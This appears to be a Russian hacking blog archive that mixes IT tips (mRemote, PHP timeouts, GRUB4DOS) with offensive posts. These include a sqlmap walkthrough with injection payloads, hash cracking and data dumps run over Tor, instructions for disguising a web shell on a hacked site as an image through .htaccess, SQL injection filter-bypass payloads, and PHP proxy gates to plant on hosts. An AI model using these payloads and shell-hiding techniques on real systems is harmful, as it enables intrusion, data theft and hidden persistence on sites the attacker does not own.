Not3pad

2012-06-02T08:55:00.002-07:00

mRemote - является полнофункциональным удаленным менеджером соединений.
Он позволяет хранить все ваши удаленные соединения в простом, но мощном интерфейсе.
В настоящее время поддерживаются протоколы:

RDP (англ. Remote Desktop Protocol) — протокол удалённого рабочего стола
VNC (англ. Virtual Network Computing) — система удалённого доступа к рабочему столу компьютера
ICA (англ. Independent Computing Architecture) - это закрытый протокол для сервера приложений, разработанного компанией Citrix Systems.
SSH (англ. Secure SHell) — сетевой протокол прикладного уровня, позволяющий производить удалённое управление операционной системой и туннелирование TCP-соединений (например, для передачи файлов). Схож по функциональности с протоколами Telnet и rlogin
TELNET (англ. TErminaL NETwork) — сетевой протокол для реализации текстового интерфейса по сети (в современной форме — при помощи транспорта TCP)
HTTP / S (англ. HyperText Transfer Prоtocоl ) — протокол прикладного уровня передачи данных (изначально — в виде гипертекстовых документов)
RLOGIN (англ. Remote LOGIN — удалённый вход в систему) — протокол прикладного уровня (7ой уровень модели OSI), часть стека TCP/IP. Позволяет пользователям UNIX подключаться к системам UNIX на других машинах и работать так же, как при прямом подключении терминала к машине. Этот протокол обеспечивает такой же сервис, как протокол TELNET.

RAW

На сайте также присутствует portable версия

Sqlmap: SQL-инъекции - это просто

2011-12-08T23:59:00.000-08:00

Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm), профессиональный разработчик софта из Хорватии, и Бернардо Дамеле (@inquisb), консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании. Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу включились Мирослав и Бернардо.
Итак, что такое sqlmap? Одна из мощнейших открытых утилит для пентестера, которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью извлечения данных или захвата удаленного хоста. Что делает sqlmap отличным от других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать каждую найденную уязвимость. Это означает, что sqlmap способен не только находить "дырку", но еще и заюзать ее по полной программе. А коль уж в качестве задачи ставится именно эксплуатация уязвимости, то сканеру приходится быть особенно внимательным к деталям: он не будет выдавать миллион ложных срабатываний "так, на всякий случай" (как это мы видим во многих других приложениях). Любая потенциальная уязвимость дополнительно проверяется на возможность эксплуатации. Сканер из коробки идет с огромным функционалом, начиная от возможности определения системы управления базой данных (далее DBMS), создания дампа (копии) данных и заканчивая получением доступа к системе с возможностью обращаться к произвольным файлам на хосте и выполнять на сервере произвольные команды. И все-таки главное — это обнаружение возможности сделать инъекцию SQL-кода.

************************************************

SQL-инъекция: что это?
SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода путем простой конкантенации (например, $query="SELECT * FROM users WHERE id=".$_REQUEST["id"]). В случае успеха атакующий может изменить логику выполнения SQL-запроса так, как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а также извлекает таблицы с наиболее "интересными" именами (например "users"). После этого, в зависимости от привилегий, с которыми запущено уязвимое приложение, он может обратиться к защищенным частям бэк-энда веб-приложения (например, прочитать файлы на стороне хоста или выполнить произвольные команды).

************************************************

Какие уязвимости может находить SQLMAP?

Есть пять основных классов SQL-инъекций, и все их поддерживает
sqlmap:

UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с "UNION ALL SECECT". Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то "рядом" вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в "чистом" виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения "true"-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер "играет" с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Если тема SQL-инъекций тебе пока знакома только на пальцах, рекомендую полистать архив ][ или прочитать мануал Дмитрия Евтеева "SQL Injection: От А до Я". Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать sqlmap и на данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.

Фишки SQLMAP

Движок для определения SQL-уязвимостей — пускай и самая важная, но все-таки не единственная часть функционала sqlmap. И прежде чем показать работу сканера в действии, не могу хотя бы вкратце, но не рассказать о некоторых его фишках. Итак, в sqlmap реализовано:

Извлечение имен пользователей, хешей их паролей, а также привилегий и полей.
Автоматическое распознавание типа используемого хеша и возможность взлома его с помощью брутфорса по словарю.
Получение списка баз данных, таблиц и столбцов.
Возможность сделать полный или частичный дамп базы данных.
Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам сразу), что может быть полезно для определения таблиц с "интересными" данными вроде имен пользователей (users) или паролей (pass).
Загрузка или, наоборот, закачка произвольных файлов на сервер, если уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL Server.
Выполнение произвольных команд и получение шелла, если на хосте используется одна из СУБД, перечисленных в предыдущем пункте.
Поддержка прямого подключения к базе данных (без явного использования SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы данных.
Установка надежного TCP-соединения (так называемого out-ofband) между машиной пентестера и хостом, на котором запущен сервер баз данных. В качестве обертки для этого канала может стать интерактивная командная строка (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через VNC-подключение.
Повышение привилегий для процесса базы данных через команду getsystem Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d (MS10-015).

Как один из авторов этой утилиты могу сказать: это действительно хороший инструмент, созданный хакерами для хакеров. И он работает!

Приступаем к практике

Убедиться в этом тебе помогут несколько моих сценариев. Это наиболее типичные ситуации, которые используют основные возможности sqlmap. К слову, ты тоже можешь сразу проверить весь функционал сканера — например, на специально созданном тренировочном приложении от OWASP (www.owasp.org), в котором намеренно воссозданы многие из опасных ошибок программистов. Тут надо сказать, что sqlmap написан на Python’е, а значит, ты сможешь запустить его под любой ОС. Единственное требование — это установленный в системе интерпретатор пайтона. В качестве объекта для теста на проникновение я буду использовать виртуальную машину, на которой будет крутиться стандартный стек LAMP (Linux/Apache/MySQL/PHP) вместе с несколькими уязвимыми веб-приложениями.

Сценарий № 1

Условимся, что мы хотим проэксплуатировать уязвимость, которая была найдена в GET-параметре "id" веб-страницы, расположенной по адресу http://www.site.com/vuln.php?id=1 (для указания URL будет ключ -u). Чтобы снизить подозрительную активность, мы будем маскироваться под обычный браузер (ключ --random-agent), а для подключения использовать защищенный канал TOR-сети (--tor). Итак, запускаем sqlmap:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"  --random-agent --tor 

sqlmap/1.0-dev (r4365) — automatic SQL injection and database takeover tool

Сканер определит несколько точек для выполнения инъекций в 17 HTTP(S)-запросах. Обрати внимание, что для каждой из них указывается тип, а также пэйлоад.

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind — WHERE or HAVING clause

    Payload: id=1 AND 1826=1826



    Type: error-based

    Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause

    Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,116,120,58),  (SELECT (CASE WHEN (8532=8532) THEN 1 ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)*2))x  FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)



    Type: UNION query

    Title: MySQL UNION query (NULL) — 3 columns

    Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116,120,58),  IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CHAR),CHAR(32)),CHAR(58,98,121,102,58))



    Type: AND/OR time-based blind

    Title: MySQL > 5.0.11 AND time-based blind

    Payload: id=1 AND SLEEP(10)

Помимо этого, сканер выполнит распознавание базы данных, а также других технологий, использованных веб-приложением:

[02:01:45] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: MySQL 5.0

В конце концов полученные данные будут записаны в определенный файл:
[02:01:45] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'

Сценарий № 2

Теперь следующий пример. Предположим, что мы хотим устроить более детальный fingerprinting (-f) и получить текстовый баннер (--banner) системы управления базой данных, включая ее официальное название, номер версии, а также текущего пользователя (--current-user). Кроме того, нас будут интересовать сохраненные пароли (--passwords) вместе с именами таблиц (--tables), но не включая системные, (--exclude-sysdbs) — для всех содержащихся в СУБД баз данных. Нет проблем, запускаем сканер:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"  --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs

Очень скоро мы получим все данные об используемых технологиях, которые запрашивали:

[02:08:27] [INFO] fetching banner

[02:08:27] [INFO] actively fi ngerprinting MySQL

[02:08:27] [INFO] executing MySQL comment injection fi ngerprint



Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: active fi ngerprint: MySQL >= 5.1.12 and < 5.5.0

comment injection fi ngerprint: MySQL 5.1.41

banner parsing fi ngerprint: MySQL 5.1.41

banner: '5.1.41-3~bpo50+1'

После — имя текущего пользователя:

[02:08:28] [INFO] fetching current user

current user: 'root@localhost'

Далее получаем хеши всех пользовательских паролей и выполняем брутфорс-атаку по словарю:

[02:08:28] [INFO] fetching database users password hashes 

do you want to perform a dictionary-based attack against retrieved password  hashes? [Y/n/q] Y

[02:08:30] [INFO] using hash method 'mysql_passwd' 

what dictionary do you want to use?

[02:08:32] [INFO] using default dictionary

[02:08:32] [INFO] loading dictionary from '/opt/sqlmap/txt/wordlist.txt' 

do you want to use common password suffi xes? (slow!) [y/N] N

[02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd)

[02:08:35] [INFO] cracked password 'testpass' for user 'root'

database management system users password hashes:

[*] debian-sys-maint [1]:

password hash: *6B2C58EABD91C1776DA223B088B601604F898847

[*] root [1]:

password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29

clear-text password: testpass

Опа! Для root’а мы быстро подобрали пароль (для примера он был очень простой). Пришло время сдампить интересующие нас данные:

[02:08:35] [INFO] fetching database names

[02:08:35] [INFO] fetching tables for databases: information_schema, mysql,  owasp10, testdb

[02:08:35] [INFO] skipping system databases: information_schema, mysql



Database: owasp10

[3 tables]

+--------------+

| accounts     |

| blogs_table  |

| hitlog       |

+--------------+

Database: testdb

[1 table]

+-------------+

| users       |

+-------------+

[02:08:35] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'

Готово!

Сценарий № 3

Теперь, обнаружив в базе данных testdb-таблицу (-D testdb) с интересным именем "users" (-T users), мы, естественно, заходим заполучить ее содержимое себе (--dump). Но чтобы показать еще одну интересную опцию, не будем копировать все данные просто в файле, а реплицируем содержимое таблиц в основанную на файлах базу данных SQLite на локальной машине (--replicate).
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor --dump -D testdb -T users --replicate
Сканеру не составит труда определить названия столбцов для таблицы users и вытащить из нее все записи:

[02:11:26] [INFO] fetching columns for table 'users' on database  'testdb'

[02:11:26] [INFO] fetching entries for table 'users' on database 'testdb'

Database: testdb

Table: users

[4 entries]

+----+--------+------------+

| id | name   | surname    |

+----+--------+------------+

| 2  | fluffy | bunny      |

| 3  | wu     | ming        |

| 1  | luther | blissett   |

| 4  | NULL   | nameisnull |

+----+--------+------------+

[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file

Таким образом мы получим дамп базы данных в файле testdb.sqlite3 в формате SQLite. Фишка в том, что в при таком раскладе мы не только можем посмотреть данные, но еще и выполнить к ней любые запросы, заюзав возможности SQLite (например, с помощью программы SQLite Manager).

Как защититься?

Наиболее надежным способом предотвращения SQL-инъекций является использование параметризированных SQL-параметров. К примеру, в случае с PHP это возможно с помощью пакета PEAR’s DB, предлагающего интерфейс для выполнения абсолютно безопасных SQL-выражений. Обращение к БД происходит следующим образом: $p = $db->prepare("SELECT * FROM users WHERE id = ?"); $db->execute($p, array($_GET['id'])). Основная идея заключается в том, что если позиция параметров явно задана, то можно абсолютно безопасно передавать SQL-запросы базе данных, исключая возможность для параметров самим стать SQL-выражениями (в том числе зловредными). Стоит заметить, что другие механизмы, такие как использование принудительного приведения типов (например, с помощью функции intval()) в связке с экранированием строк такими функциями, как mysql_real_escape_string() или addslashes(), не являются абсолютно безопасными. Проблема в том, что существуют некоторые варианты для их обхода, а следовательно, к их использованию необходимо подходить с максимальным вниманием.

Резюме

В прошлом номере в рубрике Proof-of-concept я рассказывал тебе о DSSS, небольшом Python-скрипте, который умеет обнаруживать SQL-уязвимости. Идея заключалась в том, чтобы создать эффективный сканер, который будет хорошо работать, но уложиться при этом в 100 строчек кода. Это лишний раз доказывает, что обнаружение SQL-уязвимостей — это лишь малая часть дела. Их эксплуатация — вопрос куда более сложный. Но его готов взять на разрешение sqlmap, в котором мы объединили многолетний опыт огромного количества пентестеров, чтобы сканер мог эффективно не только находить SQL-инъекции, но и извлекать из этого максимальную выгоду.

источник http://www.xakep.ru/post/57950/

Mantra

2011-10-21T01:20:00.000-07:00

Mantra инновационный продукт, основы безопасности и пентеста построены на основе браузера Firefox. кросс-платформенная, портативная и может работать прямо из "коробки". Вы можете использовать на абсолютно любых перезаписываемых носителях, включая карты памяти, флэш-накопители и портативные жестких диски. Более того, мантра может быть использована как для наступательных действий так и в оборонительной безопасности, что делает её невероятно полезной.
скачать с оф. сайта

Хакерская сборка плагинов для Mozilla Firefox

2011-10-12T05:24:00.000-07:00

SQL Injection - для удобной реализации SQL инъекций
Tamper Data - расширение для просмотра и изменения HTTP/HTTPS заголовков и post параметров
Wappalyzer - показывает на чем работает сайт
TYC + PR indicator - простой индикатор для отображения Google Page Rank и Яндекс тИЦ текущей страницы

FoxyProxy Standard - это продвинутый инструмент управления прокси
Cookies Manager+ - Cookie менеджер, который позволяет просматривать, редактировать и создавать новые печенья

Fatal error: Maximum execution time of 30 seconds

2011-07-11T07:32:00.000-07:00

Время от времени веб-разработчики, сталкиваются с ошибкой
Fatal error: Maximum execution time of 30 seconds exceeded in…<путь к файлу> in <номер строки>

Из-за чего же это происходит?

А дело тут в ограничении ресурсов. Точнее в одной из его составляющих – во времени исполнения. Очень часто эта ошибка возникает, когда сервер перегружен процессами.

Как исправить ошибку?

Увеличить время обработки можно, найдя в файле php.ini строчку:

max_execution_time = 30

и изменить число секунд, с 30 на более продолжительное например 60. После этого не забудьте перезапустить Apache. Это бывает особенно полезно на локальной машине разработчика.
Естественно бесконечно увеличивать этот порог не имеет смысла, лучше задуматься что у вас лишнего запущено… и не пора ли менять комп?

Кроме этого, если вам не доступен php.ini, можете установить специальный флаг в .htaccess:

php_value max_execution_time 60

Правда на некоторых хотингах данная директива может быть запрещена для изменений, тогда вам останется только обращаться к администраторам в саппорт.

Режим Бога в Windows 7

2011-04-03T03:51:00.000-07:00

Знаете ли вы, что вы тоже можете стать Богом!? Ну, по крайней мере, на Windows 7 (по сообщениям пользователей это так же работает и на Windows Vista).

Этот режим позволит вам управлять всеми настройками Windows из удобного графического меню. Вот как его активировать:

1. Щелкните правой кнопкой мыши на любом пустом пространстве рабочего стола.
2. Перейдите в меню Создать и создайте новую папку.
3. Переименуйте папку следующим образом:
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
4. ~~НЕ используйте эту возможность на Windows 7 x64 (а также Windows Vista x64) — это приводит к обрушению системы~~ Как сообщают пользователи, на системах х64 это тоже работает. Но используйте это на свой страх и риск.

Маскировка шелла под картинку

2011-02-17T04:39:00.000-08:00

Задача: Замаскировать шелл под местность с помощью .htaccess

Решение
Заливая шелл на какой-нибудь ресурс, ты, конечно, хочешь, чтобы он прожил максимально долго, и не был удален злобными админами в первый же день. Для этого шеллы прячут и маскируют под местность, чтобы файл не вызывал подозрений. А какие файлы в первую очередь вызывают подозрения? Ну, конечно же, скрипты. То есть, файлы с расширением .php .phtml .cgi .pl и т.д. будут проверены первыми. И, напротив, не вызывают подозрения, например, картинки. Но какая же польза от файла с расширением .jpg или .gif, скажешь ты. Ведь он не исполняемый и, если даже засунуть в него .php-код, то, чтобы он заработал, нужен будет инклуд. Это не совсем так, а точнее, совсем не так. Заставить апач воспринимать файл с любым расширением как .php нам поможет .htaccess.

Посмотрим, как это делается:

1. Создаем у себя на локалке файл .htaccess следующего содержания (можно и прямо на сайте создать):

AddType application/x-httpd-php .jpg

2. Заливаем его на взломанный сайт в папку, где будем прятать наш шелл (это если в директории нет такого файла; если есть, то просто добавляем к нему нашу строчку).

3. Меняем расширение нашему шеллу с .php на .jpg.

4. Переходим с веба на нашу «картинку» и видим, что она исполняется.

Как видишь, все просто, теперь, зайдя в папку, админ видит только картинки, и шансов, что шелл будет найден, гораздо меньше.

Разумеется, таким образом можно поставить абсолютно любое расширение, будь то .txt, .gif или вообще не существующее .lol. Только злоупотреблять таким методом не советую. Если то, что ты делаешь, наносит вред функционалу сайта в целом, то шансы быть обнаруженным резко возрастают.

Узнать имена колонок в таблице, зная ее название

2011-02-17T04:35:00.000-08:00

Задача: Узнать имена колонок в таблице, зная ее название
Решение: Представлю недавно опубликованный на форуме sla.ckers.org юзером Paic способ, с помощью которого можно узнать имена колонок, если они имеют тип NOT NULL. Отправляем первый запрос, чтобы узнать, сколько колонок в нужной нам таблице:
id=1 and (select * from users) = (1)
В результате MySQL вернет ошибку «Operand should contain 7 column(s)». Это значит, что в таблице users 7 полей. Тогда составим логически верный запрос:
id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1,2,3,4,5,6,7 limit 1)
Запрос верный и ошибки мы не увидим. А теперь о том, как узнать имена колонок. Для каждого поля в запросе поочередно подставляем последовательность символов %0 и, если у поля стоит ключ NOT NULL, мы увидим ошибку. Посмотрим на примере:
id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1%0,2,3,4,5,6,7 limit 1)
В итоге видим ошибку – «Column ‘id’ cannot be null».
(c)xakep.ru

Обход фильтрации пробелов в SQL-injection

2011-02-17T04:30:00.000-08:00

Задача: Обойти фильтрацию пробелов в SQL-injection
Решение
В прошлом номере я уже рассказал, как можно обойти фильтрацию запятых, но подобная фильтрация встречается крайне редко, совсем другой случай – фильтрация пробелов. Скажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код

<?php
if(isset($_GET['id']) && $_GET['id']!=»){
if(strstr($_GET['id'],» «) {die «HACK ALERT»};
if(strstr($_GET['id'],»/**/») {die «HACK ALERT»};
if(strstr($_GET['id'],»+») {die «HACK ALERT»};
if(strstr($_GET['id'],»%20″) {die «HACK ALERT»};

здесь какие-то запросы с использованием переменной $_GET['id']
Как мы видим, при использовании пробелов » «, /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.
1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет) список:

%09 – horizontal tab, горизонтальная табуляция

%0A – NL line feed, символ новой строки

%0B – vertical tab, вертикальная табуляция

%0C – NP form feed, символ новой страницы

%0D – carriage return, возврат каретки

Все эти символы будут рассматриваться как пробельные. Пример запроса:
id=-1%0Aunion%0Aselect%0A1
C этим, я думаю, все понятно, перейдем ко второму варианту:
2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:

select id/*!,title*/ from news

В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:

id=-1/*!union*/select/*!version()*/

Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:

id=(-1)union(select(version()))

(c)xakep.ru

Обход фильтрации символов запятой при проведении SQL-Injection

2011-02-17T04:18:00.000-08:00

Задача: Обойти фильтрацию символов запятой при проведении SQL-Injection
Решение:
Задача не банальная. Хоть и встречается редко, но, как правило, ставит в тупик многих людей. Допустим, мы имеем такой код:
<?php
if(isset($_GET['id']) && $_GET['id']!=»){
$replaced = preg_replace(/,/,»,$_GET);
….
здесь какие-то запросы с использованием переменной $replaced
К чему же мы приходим? Невозможно использовать конструкцию union select, если в запросе участвует больше 2-х полей. ОК, крутим как слепую, скажешь ты. Но в данном случае большинство известных способов, таких как использование функций substring(), mid(), ExtractValue(), а также последние наработки Qwazar’a в области раскрутки слепых инъекций работать не будут. Что же делать? Будем использовать логику SQL-выражений, и здесь поможет нам LIKE.
Для начала узнаем версию:

id=1 and version() like ’4%’–
Если запрос не удался, значит, версия отличная от 4*. Пробуем по-другому:
id=1 and version() like ’5%’–
ОК, запрос такой же, как и при
id=1 and 1=1–
А это значит, что первый символ версии мы подобрали успешно. Я думаю, ты понял, что делать дальше, но я все же покажу.
Узнаем названия таблиц в information_schema.tables; желательно знать примерное название колонки, если нас интересует таблица с юзерами, я делаю обычно так:
id=1 and (select 1 from information_schema.columns where column_name like ‘%pass%’ and table_name like ‘u%’)–
В данной конструкции ‘%pass%’ остается неизменным, а подбираем мы именно table_name. Если первый запрос прошел удачно, тогда пробуем подобрать второй из символов:
id=1 and (select 1 from information_schema.columns where column_name like ‘%pass%’ and table_name like ‘us%’)–
И так далее. Предположим, мы получили имя таблицы users и колонки username, password,id. Составим запрос на получение пароля из базы
id=1 and (select 1 from users where id=1 and password like ‘q%’)–
Подбирается по образу и подобию предыдущих запросов. Символ % в конструкции LIKE говорит о том, что после ‘q’ находится 1 и более любых символов.
(c)xakep.ru

Собственный анонимайзер

2011-02-17T04:01:00.000-08:00

HTTP Local Proxy–это анонимайзер работающий через php гейт(ы), пригодиться тем кто хочет скрыть свой IP но не имеет доступа к прокси/сокс серверам. Сам процесс выбор нужного IP адреса сводиться к выбору хостинга. Что делать? Заливаем на сервер обычный php скрипт, запускаем у себя на тачке клиента, настраиваем адрес прокси в браузере и работаем. Как работает? При запуске клиент загружает из файла адреса наших скриптов, и работает как прокси. Мы отправляем инфу клиенту, он скрипту, скрипт получает то что мы хотеле и отправляет ответ клиенту а он нам) В архиве 3 файла gate.php, host.txt, proxy.exe

файл gate.php заливаем на хосты, обязательно с разрешенными сокетами (бесплатные не катят)
в файл host.txt прописываем адреса залитого нами файла, каждый с новой строки. например:
```
site.org/gate.php
site2.ru/dir/gate.php
somesite.org/newname.php
```
Запускаем proxy.exe по умолчанию он запусваеться на порту 8080 и загружает список из файла host.txt , это можно изменить запустив бинарник с параметрами.
proxy.exe [порт [имя_файла_с_хостами]]
в браузере прописываем адрес HTTP прокси 127.0.0.1 и порт на котором он запущен

Работаем)
Есле в файле host.txt более одного адреса, то proxy будет автоматически менять их (соответсвенно ваш ip тоже будет меняться)
Есле нужно работать с одного ip то в файл host.txt оставляем один адрес.
Скорость в первую очередь зависит от самого хоста, и особо большой не будт.
Также через такой прокси не получеться скачаивать/передовать большие файлы.
Скачать HTTP Local Proxy

Установка и сохранение BackTrack 4 на USB

2011-02-17T03:49:00.000-08:00

Первым делом форматируем флешку, закидуем на нее Grub4Dos – программу для заргрузки с флешки. О том как устанавливать Grub4Dos читаем тут
после открываем образ BT4 программой Ultra ISO копируем содержимое в корень флешки.
открываем файл MENU.lst в любом текстовом редакторе и добавляете следующее:
title BackTrack4
kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent rw quiet vga=0×317
initrd /boot/initrd.gz
сохраняете все это дело и перезагружаете компьютер, флешку не вытаскивайте!
Существует 2 вида выбора загрузки:

Перед загрузкой жмете клавишу F12 (выбор устройств с которых будет произведена загрузка)
ищите свою флешку и жмете ENTER
Перед загрузкой жмакаете на клавишу Delete (загрузка BIOS) выставляете загрузку с флешки, сохраняете настройки и перезагружайте.

после загрузки меню Grub4Dos, выбераете пункт BackTrack4
после загрузки консоли, можно для удобства запустить графическую рабочею среду
командой startx
в ней же открываем консоль
смотрим где находиться флеха mount | grep sd
монтируем
mount /media/cdrom0 -o remount,rw
cd /media/cdrom0
dd if=/dev/zero of=casper-rw bs=1M count=РАЗМЕР_ФАЙЛА_В_МЕГАБАЙТАХ
mkfs.ext3 casper-rw # На вопрос ответьте: y
РАЗМЕР_ФАЙЛА_В_МЕГАБАЙТАХ – размер файла в котором будет сохраняться все изменения BT4
теперь перезагружаем комп, грузим винду, открываем флеху и правим файл MENU.lst
title BackTrack4
kernel /boot/vmlinuz BOOT=casper boot=casper persistent rw quiet vga=0×317
initrd /boot/initrd.gz
P.S. При желании можно изменить размер сохраняевомого файла слелующим способом
(Опять перемонтировать флешку в rw и перейти в каталог точки монтирования)
dd if=/dev/zero bs=1M count=НАСКОЛЬКО_УВЕЛИЧИТЬ_В_МЕГАБАЙТАХ >> casper-rw
resize2fs casper-rw

Инсталляция загрузчика GRUB4DOS с Русским меню Ver.2

2011-02-16T13:27:00.000-08:00

1. Перед началом операции флешку рекомендуется отформатировать программой HPUSBFW (369Кб), предварительно сохранив с неё всё необходимое (если есть)
2. Скачиваем этот файл: GRUB4DOS_RUS_v.2
3. Запускаем его. После запуска выбираем (кнопкой Обзор) цель, то есть то устройство на которое будем устанавливать Загрузчик.
Это либо Жёсткий диск, либо Флешка.
Если собираемся ставить на Флешку, значит выбираем корень флешки Х:\
(Х – Буква вашей флешки)
Если собираемся ставить на Жёсткий диск, значит выбираем корень диска C:\ (или на какой вы хотите, главное чтоб был Активным)

4. Нажимаем кнопку «Извлечь». После этого программа Grub4Dos Installer 1.1 установится к вам в C:\Program Files и выбросит ярлык на Рабочий Стол. Одновременно с этим на выбранный вами носитель распакуются файлы загрузчика (Папка – Boot; Файлы – grldr, MEMDISK, MENU.LST) и откроется окно программы Grub4Dos Installer 1.1.

5. В окне программы Grub4Dos Installer 1.1, в самой верхней строчке (выпадающем меню), выбираем цель для установки загрузчика
(HDD или Флешка) Больше ничего выбирать не надо.

6. Нажимаем кнопку Install.
7.Если всё успешно, то вы увидите окно консоли с предложением нажать Enter, Нажимаем Enter.

Предостережение! Если вы собрались установить Загрузчик на свой Жёсткий диск, вам желательно сначала получить опыт работы с Загрузчиком GRUB4DOS, знать как редактируется файл Menu.lst и.т.д.. Почитать об этом можно здесь и здесь.
В конфигурационном файле Menu.lst по умолчанию прописаны пункты меню для загрузки с первого раздела, первого жёсткого диска, если ваша ОС установлена в другом месте, и вы установите Загрузчик по этой инструкции не зная как загрузить ОС из другого раздела – вы сталкнётесь с трудностями.
Так что если вы не уверены, не стоит первым делом устанавливать GRUB4DOS на жёсткий диск